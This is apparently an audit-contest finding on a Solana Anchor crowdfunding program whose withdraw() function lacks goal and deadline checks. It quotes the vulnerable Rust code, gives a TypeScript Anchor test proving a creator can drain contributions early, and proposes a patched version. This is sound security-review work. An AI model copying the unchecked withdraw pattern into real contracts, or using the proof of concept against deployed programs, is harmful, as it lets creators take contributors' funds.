RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of campaign success (goal and deadline) verification in withdraw function

Description

The withdraw() function in the rustfund program lacks critical validation checks to verify campaign success before allowing fund withdrawal. According to the project documentation, creators should only be able to withdraw funds "once their campaign succeeds." However, the current implementation allows creators to withdraw funds at any time, regardless of whether:

  1. The funding goal has been met

  2. The campaign deadline has been reached

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

The function simply transfers the entire amount raised without checking if the campaign has met its goal or if the deadline has passed. This completely bypasses the crowdfunding platform's intended trust model and security guarantees.

Impact

  1. Trust model violation: Contributors expect their funds to be held in escrow until the campaign succeeds (meets its goal and deadline). The current implementation violates this trust model.

  2. Immediate fund draining: Creators can drain funds immediately after receiving contributions, defeating the purpose of a deadline-based crowdfunding system.

  3. Premature project abandonment: A creator can withdraw partial funding and abandon a project before it's fully funded, leaving contributors with no recourse.

Proof of Concept (PoC)

The following test demonstrates how a creator can withdraw funds both before the goal is met and before the deadline is reached:

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { Rustfund } from "../target/types/rustfund";
import { PublicKey } from '@solana/web3.js';
import { expect } from 'chai';
describe("Lack of campaign success verification before withdrawal", () => {
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
const program = anchor.workspace.Rustfund as Program<Rustfund>;
const creator = provider.wallet;
const contributor = anchor.web3.Keypair.generate();
const fundName = "Fund_withdrawal";
const description = "Testing vulnerability in withdraw - no campaign success verification";
const goal = new anchor.BN(2000000000); // 2 SOL
const contributionAmount = new anchor.BN(1000000000); // 1 SOL (half of the goal)
const futureDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 3600); // 1 hour from now
let fundPDA: PublicKey;
let fundBump: number;
let contributionPDA: PublicKey;
let contributionBump: number;
before(async () => {
// Generate PDA for fund
[fundPDA, fundBump] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
// Airdrop SOL to contributor - increased amount to handle multiple contributions
const airdropSignature = await provider.connection.requestAirdrop(
contributor.publicKey,
5 * anchor.web3.LAMPORTS_PER_SOL
);
await provider.connection.confirmTransaction(airdropSignature);
});
it("Creates a fund with a goal of 2 SOL", async () => {
await program.methods
.fundCreate(fundName, description, goal)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("Fund created with goal:", fund.goal.toString(), "lamports");
expect(fund.goal.toString()).to.equal(goal.toString());
});
it("Sets a deadline in the future", async () => {
await program.methods
.setDeadline(futureDeadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("Deadline set to:", fund.deadline.toString());
expect(fund.deadline.toString()).to.equal(futureDeadline.toString());
});
it("Contributes 1 SOL (half of the goal)", async () => {
// Generate PDA for contribution
[contributionPDA, contributionBump] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), contributor.publicKey.toBuffer()],
program.programId
);
// Contribute 1 SOL
await program.methods
.contribute(contributionAmount)
.accounts({
fund: fundPDA,
contributor: contributor.publicKey,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributor])
.rpc();
// Verify contribution was recorded
const fund = await program.account.fund.fetch(fundPDA);
console.log("Amount raised:", fund.amountRaised.toString(), "lamports");
expect(fund.amountRaised.toString()).to.equal(contributionAmount.toString());
// Verify fund balance includes contribution (may also include rent)
const fundBalance = await provider.connection.getBalance(fundPDA);
console.log("Fund balance:", fundBalance);
// Check that the fund balance is at least the contribution amount
expect(fundBalance).to.be.at.least(contributionAmount.toNumber());
});
it("Creator can withdraw funds even though goal is not met", async () => {
// Store creator's balance before withdrawal
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
console.log("Creator balance before withdrawal:", creatorBalanceBefore);
// Store fund balance before withdrawal
const fundBalanceBefore = await provider.connection.getBalance(fundPDA);
console.log("Fund balance before withdrawal:", fundBalanceBefore);
// VULNERABILITY: The withdraw function doesn't check if the goal was met
// or if the deadline has been reached. The creator can withdraw at any time.
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Verify creator received the funds
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
console.log("Creator balance after withdrawal:", creatorBalanceAfter);
// Account for transaction fees by ensuring the increase is approximately equal to the contribution
const balanceIncrease = creatorBalanceAfter - creatorBalanceBefore;
console.log("Balance increase:", balanceIncrease);
expect(balanceIncrease).to.be.approximately(contributionAmount.toNumber(), 10000); // Allow for tx fees
// Verify fund balance is reduced
const fundBalanceAfter = await provider.connection.getBalance(fundPDA);
console.log("Fund balance after withdrawal:", fundBalanceAfter);
expect(fundBalanceAfter).to.be.below(fundBalanceBefore);
});
it("Creator can withdraw before deadline", async () => {
// Create a new fund for this specific test
const earlyWithdrawFundName = "Early Withdraw Fund";
// Generate PDA for new fund
const [earlyWithdrawFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(earlyWithdrawFundName), creator.publicKey.toBuffer()],
program.programId
);
// Create the new fund
await program.methods
.fundCreate(earlyWithdrawFundName, "Testing early withdrawal", goal)
.accounts({
fund: earlyWithdrawFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Set a far future deadline
const veryFutureDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 30 * 24 * 60 * 60); // 30 days from now
await program.methods
.setDeadline(veryFutureDeadline)
.accounts({
fund: earlyWithdrawFundPDA,
creator: creator.publicKey,
})
.rpc();
// Generate PDA for new contribution
const [newContributionPDA] = await PublicKey.findProgramAddress(
[earlyWithdrawFundPDA.toBuffer(), contributor.publicKey.toBuffer()],
program.programId
);
// Check contributor balance before contribution
const contributorBalanceBefore = await provider.connection.getBalance(contributor.publicKey);
console.log("Contributor balance before second contribution:", contributorBalanceBefore);
// Make a contribution
await program.methods
.contribute(contributionAmount)
.accounts({
fund: earlyWithdrawFundPDA,
contributor: contributor.publicKey,
contribution: newContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributor])
.rpc();
// Check contributor balance after contribution
const contributorBalanceAfter = await provider.connection.getBalance(contributor.publicKey);
console.log("Contributor balance after second contribution:", contributorBalanceAfter);
console.log("Spent on contribution:", contributorBalanceBefore - contributorBalanceAfter);
// Verify the deadline is in the future
const fund = await program.account.fund.fetch(earlyWithdrawFundPDA);
const currentTime = Math.floor(Date.now() / 1000);
console.log("Current time:", currentTime);
console.log("Fund deadline:", fund.deadline.toString());
expect(fund.deadline.toNumber()).to.be.above(currentTime);
// Creator's balance before early withdrawal
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
// VULNERABILITY: Creator can withdraw before the deadline
await program.methods
.withdraw()
.accounts({
fund: earlyWithdrawFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Verify creator received the funds
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
const balanceIncrease = creatorBalanceAfter - creatorBalanceBefore;
console.log("Balance increase from early withdrawal:", balanceIncrease);
expect(balanceIncrease).to.be.approximately(contributionAmount.toNumber(), 10000);
});
});

Save the above test as tests/05.ts in your project's test directory and run the test:

anchor test

Concrete Impact Example

To illustrate the real-world impact of this vulnerability, consider this scenario:

  1. A creator launches a campaign to fund a 10 SOL project with a 30-day funding period.

  2. Contributors begin funding the project, and after a few days, the campaign has collected 3 SOL.

  3. The creator, who never intended to complete the project, immediately withdraws all funds.

  4. Contributors have no way to get refunds since the deadline hasn't been reached, and they assumed their funds were secured until either the goal was met or the deadline passed.

  5. The creator abandons the project with the 3 SOL, and contributors have no recourse.

This scenario completely undermines the trust model of the crowdfunding platform, which is supposed to protect contributors by holding funds in escrow until a project is successful.

Recommendation

The withdraw() function should be modified to include the necessary checks to ensure campaign success before allowing withdrawal:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let fund = &ctx.accounts.fund;
// Check if the goal has been met
if fund.amount_raised < fund.goal {
return Err(ErrorCode::GoalNotReached.into());
}
// Check if the deadline is set and has been reached
if fund.deadline == 0 {
return Err(ErrorCode::DeadlineNotSet.into());
}
if fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
let amount = fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
// Reset amount_raised to 0 after successful withdrawal (fix for other vulnerability where the amount is never reset)
ctx.accounts.fund.amount_raised = 0;
Ok(())
}

Additionally, new error codes should be added to the ErrorCode enum:

#[error_code]
pub enum ErrorCode {
// ... existing error codes ...
#[msg("Goal not reached")]
GoalNotReached,
#[msg("Deadline not set")]
DeadlineNotSet,
}

This fix ensures that withdrawals are only possible when:

  1. The campaign has reached its funding goal

  2. A deadline has been set

  3. The deadline has been reached

These conditions align with the platform's documented behavior and security model, ensuring that contributors' funds are properly protected until the campaign succeeds.

Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

No deadline check in `withdraw` function

No goal achievement check in `withdraw` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.